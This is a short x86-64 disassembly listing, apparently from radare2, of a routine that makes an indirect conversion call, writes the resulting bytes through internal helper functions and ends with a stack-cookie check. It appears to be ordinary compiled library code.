lea r8, [rsp + 0x58]
mov qword [rsp + 0x28], r8
lea r8, [rsp + 0x48]
mov qword [rsp + 0x20], r8
lea r8, [rsp + 0x50]
call qword [rax + 0x38]
test eax, eax
je 0x1800031e7
sub eax, 1
je 0x1800031e7
cmp eax, 2
jne 0x180003226
movsx ecx, byte [rsp + 0x50]
mov rdx, qword [rbx + 0x80]
call fcn.18000f144
mov ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, edi
mov eax, ecx
jmp 0x18000322b
mov rsi, qword [rsp + 0x40]
lea rax, [rsp + 0x58]
sub rsi, rax
je 0x180003214
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x58]
mov r8, rsi
mov edx, 1
call fcn.18000ffa0
cmp rsi, rax
jne 0x180003226
lea rax, [rsp + 0x50]
mov byte [rbx + 0x71], 1
cmp qword [rsp + 0x48], rax
mov eax, edi
jne 0x18000322b
mov eax, 0xffffffff
mov rsi, qword [rsp + 0xa0]
mov rcx, qword [rsp + 0x78]
xor rcx, rsp
call fcn.180005e50
mov rbx, qword [rsp + 0xa8]
add rsp, 0x80
pop rdi
ret